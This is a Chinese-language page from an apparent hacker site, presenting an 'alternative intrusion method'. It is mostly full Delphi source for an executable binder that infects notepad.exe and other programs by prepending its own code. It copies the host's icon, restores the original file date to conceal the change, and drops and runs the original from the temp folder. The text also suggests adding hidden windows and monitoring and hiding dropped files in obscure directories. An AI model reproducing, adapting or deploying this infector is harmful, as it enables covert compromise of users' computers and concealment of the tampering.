IP:18.190.152.38 Time:
加载中...
本站首页在线新闻技术文献软件工具国际版

-------- Welcome To Senqice Network  !Thank You For Your Support !--------
文献分类
·网站建设
·系统使用

文献TOP10
·DLL木马进程内幕大揭密
·ASP判断浏览器是移动端和PC端
·批处理教程
·VBScript教程(三)
·常用DOS命令
·VBScript教程(二)
·计算机网络基本概念(2)
·Win10 隐藏硬盘上面额外的6个文件夹+3D 对象
·QQ被盗,好友不丢。
·冰河木马的使用方法

站内搜索






  本站的大部分软件工具和相关文献都来自网上收集,其版权归作者本人所有,如果有任何侵犯您权益的地方,请联系我,我将马上进行整理,谢谢。

另类入侵方法 捆绑执行文件新思维
圣骑士--网络安全技术中心 http://www.senqice.net/
所属分类:网站建设 作者:Hacker Admin 更新日期:2007-8-4
最新功能:与其它程序捆绑后,图标为其它程序的图标 
这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存 
如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上 %$#@*^ 功能... 
程序中几个数字的确定: 
1 在本程序编译后用Aspack.Exe压缩,大小为41472 
2 经过分析,本程序在用Aspack.Exe压缩后,图标前面部分长40751,图标数据 
位于从第40752字节开始共640字节,图标后还有81字节 
与其它程序捆绑的过程: 
本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部 
怎么找到图标的位置: 
将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制 
编辑软件载入,查找“99 99 99”字符串即可。以后你可为程序加上其它合适的图标。 
十六进制编辑软件:常用UltraEdit。 
本人嫌它有日期限制,自编了一个,有十六进制编辑、比较、查找功能,并在不断完善中,对付几百K的文件没问题: 
http://guanbh.top263.net/download/hexedit.exe 

program exe2; 
uses 
classes, 
Tlhelp32, 
windows, 
graphics, 
ShellAPI, 
SysUtils; 
{$R *.RES} 
var 
lppe:TProcessEntry32; 
found:boolean; 
handle:THandle; 
ProcessStr,ExeName:string; 
WinDir:pchar; 
const 
MySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!} 
procedure copy2(s:string); 
var 
s1,s2,IcoStream:TMemoryStream; 
File2:TFilestream; 
ch:array[0..1] of char; 
ss:string; 
filetime,fhandle:integer; 
l:integer; 
File2Icon:Ticon; 
begin 
{若文件s不存在} 
if FileExists(s)=False then exit; 
try 
{若文件不含图标,就不捆绑} 
File2Icon:=Ticon.Create; 
l:=extracticon(handle,pchar(s),0); 
if l=0 then 
begin 
File2Icon.Free; 
exit; 
end 
else 
begin 
{提取被捆绑程序图标} 
File2Icon.Handle:=extracticon(handle,pchar(s),0); 
IcoStream:=TMemoryStream.Create; 
File2Icon.SaveToStream(IcoStream); 
File2Icon.Free; 
end; 
{判断文件s中有没有第2个程序头'MZ'。若有,表示已经合并过} 
File2:=TFilestream.Create(s,fmopenread); 
if File2.Size>MySize then 
begin 
File2.Position:=MySize; 
File2.Read(ch,2); 
ss:=copy(ch,1,2); 
if ss='MZ' then 
begin 
File2.Free; 
exit; 
end; 
end; 
File2.Free; 
{将本文件与文件s合并 本文件+s=s} 
s2:=TMemoryStream.Create; 
s2.loadfromfile(ExeName); 
s1:=TMemoryStream.Create; 

加入本程序的前部40751字节 
第40752字节开始共640字节为图标数据 
!!以下数字 40751,81要根据实际情况修改!! 

s1.copyfrom(s2,40751); 
{将图标换为被捆绑程序图标,图标大小为766} 
IcoStream.Position:=126; 
s1.CopyFrom(IcoStream,640); 
IcoStream.Free; 
s2.Position:=40751+640; 
{加入本程序的后部81字节} 
s1.CopyFrom(s2,81); 
s2.clear; 
s2.loadfromfile(s); 
s1.seek(s1.size,soFromBeginning); 
{加入被捆绑程序全部} 
s1.copyfrom(s2,s2.size); 
s2.free; 
{得到文件s的日期} 
fhandle:=FileOpen(s, fmOpenread); 
filetime:=filegetdate(fhandle); 
fileclose(fhandle); 
s1.SaveToFile(s); 
{恢复文件s的日期} 
fhandle:=FileOpen(s, fmOpenwrite); 
filesetdate(fhandle,filetime); 
fileclose(fhandle); 
s1.free; 
except end; 
end; 
procedure CreateFileAndRun; 
var 
s1,s2:TMemoryStream; 
TempDir:pchar; 
cmdstr:string; 
a:integer; 
Begin 
s1:=TMemoryStream.Create; 
s1.loadfromfile(ExeName); 
if s1.Size=MySize then 
begin 
s1.Free; 
exit; 
end; 
s1.seek(MySize,soFromBeginning); 
s2:=TMemoryStream.Create; 
s2.copyfrom(s1,s1.Size-MySize); 
GetMem(TempDir,255); 
GetTempPath(255,TempDir); 
try 

把文件释放到临时目录。 
如果你不想让人看到在这个目录下释放了一堆文件,可改为其它更隐蔽的目录, 
如 c:\windows(or winnt)\d...(☆这是个什么目录?你去研究研究吧!☆) 

s2.SaveToFile(TempDir+'\'+ExtractFileName(ExeName)); 
except end; 
cmdstr:=''; 
a:=1; 
while ParamStr(a)<>'' do begin 
cmdstr:=cmdstr+ParamStr(a)+' '; 
inc(a); 
end; 
{运行真正的程序文件} 
winexec(pchar(TempDir+'\'+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW); 
freemem(TempDir); 
s2.free; 
s1.free; 
end; 
begin 
GetMem(WinDir,255); 
GetWindowsDirectory(WinDir,255); 
ExeName:=ParamStr(0); 
handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0); 
found:=Process32First(handle,lppe); 
ProcessStr:=''; 
while found do 
begin 
ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程} 
found:=Process32Next(handle,lppe); 
end; 
{如果notepad没运行,就与它捆在一起} 
if pos(WinDir+'\notepad.exe',ProcessStr)=0 then 
begin 
copy2(WinDir+'\notepad.exe'); 
end; 
{其它需要捆绑的文件 
if pos(...,ProcessStr)=0 then 
begin 
copy2(...); 
end; 
... 

freemem(WinDir); 

你想用这个程序干点其它的什么... 

CreateFileAndRun;{释放文件并带参数运行} 
end.
查看人数:902

设为首页收藏本站广告合作联系我们友情链接
本站页面刷新量: 4528755 人次 ┋ 最高峰: 2009-3-10 22:05:47 7897人在线 现有 38人在线 [网站于 2006-4-1 0:0:0开放统计]
〓圣骑士--网络安全技术中心〓 [Ver 6.1.0]
Copyright © 2004-2024 www.senqice.net All Rights Reserved 
Powered By :Senzx Net
备案序号:冀ICP备06013166号